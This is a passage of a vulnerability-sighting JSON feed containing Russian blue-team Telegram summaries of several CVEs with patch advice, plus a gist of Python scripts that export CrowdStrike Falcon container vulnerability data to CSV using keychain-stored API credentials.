\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439 \u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0443.\n\n\ud83d\udee1CVE-2025-22146 (CVSS 9.1) \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 SAML SSO \u0432 Sentry. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043f\u043e\u0447\u0442\u044b \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0447\u0435\u0440\u0435\u0437 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0443\u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u0435\u043d\u0438\u0439 SAML.\n\n\ud83d\udee1CVE-2025-23083 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 diagnostics_channel Node.js, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c\u0441\u044f \u043a \u0441\u043e\u0431\u044b\u0442\u0438\u044f\u043c, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0447\u0438\u0445 \u043f\u043e\u0442\u043e\u043a\u043e\u0432. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-04T13:00:15.249178Z"}, {"uuid": "35c1a8cd-045a-4d73-a9d6-8daa7650ca51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://t.me/purp_sec/175", "content": "\ud83d\udee1\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-12365 (CVSS 8,5) \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 W3 Total Cache \u0434\u043b\u044f WordPress \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0441\u0430\u0439\u0442\u0435.\n\n\u0418\u0437-\u0437\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 is_w3tc_admin_page \u0432\u043e \u0432\u0441\u0435\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u043f\u043b\u0430\u0433\u0438\u043d\u0430 \u0434\u043e 2.8.1 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043f\u043e\u0434\u043f\u0438\u0441\u0447\u0438\u043a\u0430 \u0438 \u0432\u044b\u0448\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c nonce \u043f\u043b\u0430\u0433\u0438\u043d\u0430 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c SSRF-\u0430\u0442\u0430\u043a\u0443 \u043d\u0430 \u0441\u0430\u0439\u0442. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u043e\u0431\u044b\u0442\u044c \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e \u0441\u0430\u0439\u0442\u0435 \u0438 \u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u0445. \n\n\u0415\u0441\u043b\u0438 \u0432\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0435 \u0434\u0430\u043d\u043d\u044b\u0439 \u043f\u043b\u0430\u0433\u0438\u043d, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e \u0432 \u0441\u0440\u043e\u0447\u043d\u043e\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 2.8.2.\n\n#blue_team #WordPress", "creation_timestamp": "2026-08-04T13:00:15.422744Z"}, {"uuid": "550fa387-fdf8-4aac-a377-41f87ed4f652", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://t.me/purp_sec/151", "content": "\ud83d\udee1 Zyxel \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-12398 \u0441 \u0440\u0435\u0439\u0442\u0438\u043d\u0433\u043e\u043c CVSS 8,8\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u043f\u0440\u043e\u0448\u0438\u0432\u043e\u043a \u0442\u043e\u0447\u0435\u043a \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u043e\u0432. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d \u0432 \u043e\u0442\u0447\u0435\u0442\u0435 Zyxel. \u0412 \u0438\u0445 \u0447\u0438\u0441\u043b\u0435 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a NWA50AX, NWA55AXE, WAC500 \u0438 WAX610D. \u0414\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0436\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u0430 \u043d\u043e\u0432\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0422\u0430\u043a \u0447\u0442\u043e \u043a\u0440\u0430\u0439\u043d\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u0435 \u0432\u0440\u0435\u043c\u044f.\n\n#blue_team #Zyxel", "creation_timestamp": "2026-08-04T13:00:17.036200Z"}, {"uuid": "62a75712-106f-461b-9e9f-b1005b0b91b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-10)", "content": "", "creation_timestamp": "2026-05-10T00:00:00.000000Z"}, {"uuid": "70d3d0c4-5525-4767-a13a-1ba4466df3d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://gist.github.com/yannhowe/bc79334e9ba4f17106e2a63e09047707", "content": "#!/usr/bin/env python3\n\"\"\"\nFalcon Container Image Assessment Report\nExports ALL image fields to CSV - bypasses the 10-column UI limit.\n\nFixes:\n  - UI only shows 10 vulnerability columns \u2192 exports all 25+ fields\n  - Can't filter by last scanned date \u2192 use --last-scanned-after / --before\n  - Missing fields (container_id, registry, tag, image_id) \u2192 all included\n  - Build labels included in output (note: FQL filter not supported by API)\n\nUsage:\n  # All images, full CSV\n  python3 falcon-image-assessment-report.py\n\n  # Filter by registry (Azure Container Registry)\n  python3 falcon-image-assessment-report.py --registry myregistry.azurecr.io\n\n  # Images with critical vulnerabilities\n  python3 falcon-image-assessment-report.py --severity critical\n\n  # Scanned in last 7 days\n  python3 falcon-image-assessment-report.py --last-scanned-after 2024-01-01\n\n  # Images affected by a specific CVE\n  python3 falcon-image-assessment-report.py --cve CVE-2024-1234\n\n  # Only running containers\n  python3 falcon-image-assessment-report.py --running-only\n\n  # Expand to one row per CVE (for per-vulnerability filtering)\n  python3 falcon-image-assessment-report.py --expand-vulns --severity critical\n\n  # Save output\n  python3 falcon-image-assessment-report.py --output /tmp/images.csv\n\"\"\"\n\nimport sys\nimport os\nimport json\nimport subprocess\nimport requests\nimport csv\nimport argparse\nfrom datetime import datetime, timezone, timedelta\nfrom typing import Optional\n\n\n# \u2500\u2500 Auth boilerplate \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef get_falcon_profile() -> str:\n    profile = os.getenv('FALCON_PROFILE')\n    if profile:\n        return profile\n    for path in ['.claude/memory/active-cid.txt',\n                 os.path.expanduser('~/.claude/projects/-Users-ykwan-Documents-code-knowledgebase/memory/active-cid.txt')]:\n        try:\n            with open(path) as f:\n                for line in f:\n                    if line.startswith('profile='):\n                        return line.strip().split('=', 1)[1]\n        except FileNotFoundError:\n            continue\n    return 'default'\n\n\ndef get_keychain_password(service: str, account: str, profile: Optional[str] = None) -> Optional[str]:\n    if profile is None:\n        profile = get_falcon_profile()\n    try:\n        result = subprocess.run(\n            ['security', 'find-generic-password', '-s', service, '-a', profile, '-w'],\n            capture_output=True, text=True, check=True)\n        return result.stdout.strip()\n    except subprocess.CalledProcessError:\n        pass\n    if profile == 'default':\n        try:\n            result = subprocess.run(\n                ['security', 'find-generic-password', '-s', 'crowdstrike-falcon-api', '-a', account, '-w'],\n                capture_output=True, text=True, check=True)\n            return result.stdout.strip()\n        except subprocess.CalledProcessError:\n            pass\n    return None\n\n\ndef get_oauth_token(base_url=\"https://api.crowdstrike.com\", profile=None):\n    if profile is None:\n        profile = get_falcon_profile()\n    client_id = get_keychain_password(\"falcon-client-id\", \"client-id\", profile)\n    client_secret = get_keychain_password(\"falcon-client-secret\", \"client-secret\", profile)\n    if not client_id or not client_secret:\n        print(f\"Credentials not found for profile: {profile}\")\n        print(f\"Run: /cid add {profile}\")\n        sys.exit(1)\n    url = f\"{base_url}/oauth2/token\"\n    data = {\"client_id\": client_id, \"client_secret\": client_secret}\n    resp = requests.post(url, headers={\"Content-Type\": \"application/x-www-form-urlencoded\"}, data=data)\n    if resp.status_code != 201:\n        print(f\"Auth failed: {resp.status_code} {resp.text}\")\n        sys.exit(1)\n    return resp.json()[\"access_token\"]\n\n\n# \u2500\u2500 API helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef fetch_images_page(token, fql_filter, offset, limit, expand_vulns, base_url):\n    \"\"\"Single page from /container-security/combined/images/export/v1\"\"\"\n    url = f\"{base_url}/container-security/combined/images/export/v1\"\n    params = {\n        \"limit\": limit,\n        \"offset\": offset,\n        \"expand_vulnerabilities\": \"true\" if expand_vulns else \"false\",\n        \"expand_detections\": \"false\",\n        \"sort\": \"last_seen.desc\",\n    }\n    if fql_filter:\n        params[\"filter\"] = fql_filter\n    headers = {\"Authorization\": f\"Bearer {token}\"}\n    resp = requests.get(url, headers=headers, params=params)\n    if resp.status_code != 200:\n        print(f\"  API error {resp.status_code}: {resp.text[:300]}\")\n        return [], 0\n    body = resp.json()\n    resources = body.get(\"resources\") or []\n    total = body.get(\"meta\", {}).get(\"pagination\", {}).get(\"total\", len(resources))\n    return resources, total\n\n\ndef fetch_all_images(token, fql_filter, expand_vulns, base_url, page_size=500):\n    \"\"\"Paginate through all matching images.\"\"\"\n    all_images = []\n    offset = 0\n    total = None\n    while True:\n        batch, total = fetch_images_page(token, fql_filter, offset, page_size, expand_vulns, base_url)\n        if not batch:\n            break\n        all_images.extend(batch)\n        print(f\"  Fetched {len(all_images)} / {total}\", end=\"\\r\")\n        if len(all_images) >= total or len(batch) < page_size:\n            break\n        offset += page_size\n    print()\n    return all_images, total\n\n\n# \u2500\u2500 Flattening \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef safe_get(d, *keys, default=\"\"):\n    \"\"\"Nested dict get with default.\"\"\"\n    for k in keys:\n        if not isinstance(d, dict):\n            return default\n        d = d.get(k, default)\n    return d if d != \"\" or default == \"\" else default\n\n\ndef flatten_image_base(img):\n    \"\"\"Extract all standard image fields into a flat dict.\"\"\"\n    # Vulnerability counts - API may return nested or flat depending on endpoint\n    vuln = img.get(\"vulnerabilities\") or {}\n    if isinstance(vuln, list):\n        # Expanded mode - list of CVE objects; summarise counts\n        sev_counts = {\"critical\": 0, \"high\": 0, \"medium\": 0, \"low\": 0, \"negligible\": 0}\n        for v in vuln:\n            s = (v.get(\"severity\") or \"\").lower()\n            if s in sev_counts:\n                sev_counts[s] += 1\n        vuln_summary = sev_counts\n        vuln_list = vuln\n    else:\n        vuln_summary = vuln\n        vuln_list = []\n\n    detection = img.get(\"detections\") or {}\n\n    # Build labels - present if API returns them; not FQL-filterable today\n    labels = img.get(\"labels\") or img.get(\"build_labels\") or {}\n    labels_str = \"; \".join(f\"{k}={v}\" for k, v in labels.items()) if isinstance(labels, dict) else str(labels)\n\n    row = {\n        # Identity\n        \"image_id\":                img.get(\"id\") or img.get(\"image_id\", \"\"),\n        \"image_digest\":            img.get(\"image_digest\", \"\"),\n        \"registry\":                img.get(\"registry\", \"\"),\n        \"repository\":              img.get(\"repository\", \"\"),\n        \"tag\":                     img.get(\"tag\", \"\"),\n        \"source\":                  img.get(\"source\", \"\"),\n        # Properties\n        \"arch\":                    img.get(\"arch\", \"\"),\n        \"base_os\":                 img.get(\"base_os\", \"\"),\n        \"multi_arch\":              img.get(\"multi_arch\", \"\"),\n        # Runtime\n        \"container_id\":            img.get(\"container_id\", \"\"),\n        \"container_running_status\": img.get(\"container_running_status\", \"\"),\n        # Timestamps\n        \"first_seen\":              img.get(\"first_seen\", \"\"),\n        \"last_seen\":               img.get(\"last_seen\", \"\"),\n        # Scores\n        \"cps_rating\":              img.get(\"highest_cps_current_rating\", \"\"),\n        # Vulnerabilities\n        \"vuln_critical\":           vuln_summary.get(\"critical\", 0),\n        \"vuln_high\":               vuln_summary.get(\"high\", 0),\n        \"vuln_medium\":             vuln_summary.get(\"medium\", 0),\n        \"vuln_low\":                vuln_summary.get(\"low\", 0),\n        \"vuln_negligible\":         vuln_summary.get(\"negligible\", 0),\n        \"vuln_total\":              img.get(\"vulnerability_count\", sum(vuln_summary.get(s, 0) for s in [\"critical\",\"high\",\"medium\",\"low\",\"negligible\"])),\n        \"highest_vuln_severity\":   img.get(\"highest_vulnerability_severity\", \"\"),\n        # Detections\n        \"detection_count\":         img.get(\"detection_count\", safe_get(detection, \"total\")),\n        \"highest_detection_severity\": img.get(\"highest_detection_severity\", \"\"),\n        # Packages / layers\n        \"package_count\":           img.get(\"packages\", \"\"),\n        \"layers_with_vulns\":       img.get(\"layers_with_vulnerabilities\", \"\"),\n        # Build metadata\n        \"build_labels\":            labels_str,\n    }\n    return row, vuln_list\n\n\ndef expand_vuln_rows(base_row, vuln_list):\n    \"\"\"Return one row per CVE for expanded mode.\"\"\"\n    if not vuln_list:\n        return [base_row]\n    rows = []\n    for v in vuln_list:\n        row = dict(base_row)\n        row[\"cve_id\"] = v.get(\"cve_id\", \"\")\n        row[\"cve_severity\"] = v.get(\"severity\", \"\")\n        row[\"cvss_score\"] = v.get(\"cvss_score\", \"\")\n        row[\"cve_description\"] = v.get(\"description\", \"\")\n        row[\"fix_status\"] = v.get(\"fix_status\", \"\")\n        row[\"remediation\"] = v.get(\"remediation\", \"\")\n        row[\"exploited_status\"] = v.get(\"exploited_status\", \"\")\n        row[\"package_name\"] = v.get(\"package_name\", \"\")\n        row[\"package_version\"] = v.get(\"package_version\", \"\")\n        row[\"package_path\"] = v.get(\"package_path\", \"\")\n        rows.append(row)\n    return rows\n\n\n# \u2500\u2500 FQL filter builder \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef build_fql(args):\n    parts = []\n    if args.registry:\n        parts.append(f\"registry:'{args.registry}'\")\n    if args.repository:\n        parts.append(f\"repository:'{args.repository}'\")\n    if args.tag:\n        parts.append(f\"tag:'{args.tag}'\")\n    if args.severity:\n        parts.append(f\"vulnerability_severity:'{args.severity}'\")\n    if args.cve:\n        parts.append(f\"cve_id:'{args.cve}'\")\n    if args.running_only:\n        parts.append(\"container_running_status:true\")\n    if args.last_scanned_after:\n        ts = args.last_scanned_after\n        if len(ts) == 10:  # date only \u2192 add time\n            ts += \"T00:00:00Z\"\n        parts.append(f\"last_seen:>='{ts}'\")\n    if args.last_scanned_before:\n        ts = args.last_scanned_before\n        if len(ts) == 10:\n            ts += \"T23:59:59Z\"\n        parts.append(f\"last_seen:<='{ts}'\")\n    return \"+\".join(parts) if parts else None\n\n\n# \u2500\u2500 Main \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef main():\n    parser = argparse.ArgumentParser(\n        description=\"Export Falcon Container Image Assessment data to CSV with ALL fields.\")\n    parser.add_argument(\"--profile\", help=\"CID profile (default: active profile)\")\n    parser.add_argument(\"--registry\", help=\"Filter by registry (e.g. myregistry.azurecr.io)\")\n    parser.add_argument(\"--repository\", help=\"Filter by repository name\")\n    parser.add_argument(\"--tag\", help=\"Filter by image tag\")\n    parser.add_argument(\"--severity\", choices=[\"critical\",\"high\",\"medium\",\"low\"],\n                        help=\"Filter by highest vulnerability severity\")\n    parser.add_argument(\"--cve\", help=\"Filter images affected by a specific CVE\")\n    parser.add_argument(\"--running-only\", action=\"store_true\",\n                        help=\"Only include currently running containers\")\n    parser.add_argument(\"--last-scanned-after\", metavar=\"DATE\",\n                        help=\"Only images scanned after this date (YYYY-MM-DD or ISO8601)\")\n    parser.add_argument(\"--last-scanned-before\", metavar=\"DATE\",\n                        help=\"Only images scanned before this date (YYYY-MM-DD or ISO8601)\")\n    parser.add_argument(\"--expand-vulns\", action=\"store_true\",\n                        help=\"One row per CVE (instead of one row per image)\")\n    parser.add_argument(\"--output\", \"-o\", default=\"-\",\n                        help=\"Output CSV file path (default: stdout)\")\n    parser.add_argument(\"--limit\", type=int, default=5000,\n                        help=\"Max images to fetch (default: 5000)\")\n    args = parser.parse_args()\n\n    profile = args.profile or get_falcon_profile()\n    region = get_keychain_password(\"falcon-cloud-region\", \"region\", profile) or \"us-1\"\n    base_url = \"https://api.crowdstrike.com\" if region == \"us-1\" else f\"https://api.{region}.crowdstrike.com\"\n\n    print(f\"=== Falcon Image Assessment Report ===\", file=sys.stderr)\n    print(f\"Profile: {profile}  Region: {region}\", file=sys.stderr)\n\n    token = get_oauth_token(base_url, profile=profile)\n    print(\"\u2713 Authenticated\", file=sys.stderr)\n\n    fql = build_fql(args)\n    if fql:\n        print(f\"Filter: {fql}\", file=sys.stderr)\n\n    print(\"Fetching images...\", file=sys.stderr)\n    images, total = fetch_all_images(token, fql, args.expand_vulns, base_url,\n                                      page_size=min(500, args.limit))\n    if total and len(images) < total:\n        print(f\"\u26a0  Fetched {len(images)} of {total} total (increase --limit to get all)\", file=sys.stderr)\n    print(f\"\u2713 {len(images)} images retrieved\", file=sys.stderr)\n\n    if not images:\n        print(\"No images found matching filters.\", file=sys.stderr)\n        sys.exit(0)\n\n    # Build rows\n    all_rows = []\n    for img in images:\n        base_row, vuln_list = flatten_image_base(img)\n        if args.expand_vulns:\n            all_rows.extend(expand_vuln_rows(base_row, vuln_list))\n        else:\n            all_rows.append(base_row)\n\n    # Write CSV\n    fieldnames = list(all_rows[0].keys())\n\n    out = open(args.output, \"w\", newline=\"\") if args.output != \"-\" else sys.stdout\n    writer = csv.DictWriter(out, fieldnames=fieldnames, extrasaction=\"ignore\")\n    writer.writeheader()\n    writer.writerows(all_rows)\n    if args.output != \"-\":\n        out.close()\n        print(f\"\u2713 Written to {args.output}  ({len(all_rows)} rows)\", file=sys.stderr)\n    else:\n        print(f\"\\n\u2713 {len(all_rows)} rows written\", file=sys.stderr)\n\n\nif __name__ == \"__main__\":\n    main()\n\n\n#!/usr/bin/env python3\n\"\"\"\nFalcon Package Vulnerability Report - Exploded CVE Format\nOne row per (package \u00d7 CVE) combination. Fixes the \"combined fields\" CSV problem.\n\nFixes:\n  - Package Vulnerabilities CSV combines all CVE IDs into one field \u2192 each CVE = own row\n  - Can't filter by a specific CVE to see every affected package \u2192 use --cve\n  - Missing image/container context per package \u2192 includes image list per package+CVE\n  - CVE descriptions and remediations combined \u2192 each in its own column\n\nUsage:\n  # All packages with vulnerabilities\n  python3 falcon-package-cve-report.py\n\n  # See every package affected by a specific CVE\n  python3 falcon-package-cve-report.py --cve CVE-2024-1234\n\n  # Critical and high only\n  python3 falcon-package-cve-report.py --severity critical\n  python3 falcon-package-cve-report.py --severity high\n\n  # Fixable vulnerabilities only\n  python3 falcon-package-cve-report.py --fix-available\n\n  # Filter by registry (to scope to Azure Container Apps images)\n  python3 falcon-package-cve-report.py --registry myregistry.azurecr.io\n\n  # Save output\n  python3 falcon-package-cve-report.py --cve CVE-2024-1234 --output /tmp/cve-impact.csv\n\"\"\"\n\nimport sys\nimport os\nimport json\nimport subprocess\nimport requests\nimport csv\nimport argparse\nfrom typing import Optional\n\n\n# \u2500\u2500 Auth boilerplate \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef get_falcon_profile() -> str:\n    profile = os.getenv('FALCON_PROFILE')\n    if profile:\n        return profile\n    for path in ['.claude/memory/active-cid.txt',\n                 os.path.expanduser('~/.claude/projects/-Users-ykwan-Documents-code-knowledgebase/memory/active-cid.txt')]:\n        try:\n            with open(path) as f:\n                for line in f:\n                    if line.startswith('profile='):\n                        return line.strip().split('=', 1)[1]\n        except FileNotFoundError:\n            continue\n    return 'default'\n\n\ndef get_keychain_password(service: str, account: str, profile: Optional[str] = None) -> Optional[str]:\n    if profile is None:\n        profile = get_falcon_profile()\n    try:\n        result = subprocess.run(\n            ['security', 'find-generic-password', '-s', service, '-a', profile, '-w'],\n            capture_output=True, text=True, check=True)\n        return result.stdout.strip()\n    except subprocess.CalledProcessError:\n        pass\n    if profile == 'default':\n        try:\n            result = subprocess.run(\n                ['security', 'find-generic-password', '-s', 'crowdstrike-falcon-api', '-a', account, '-w'],\n                capture_output=True, 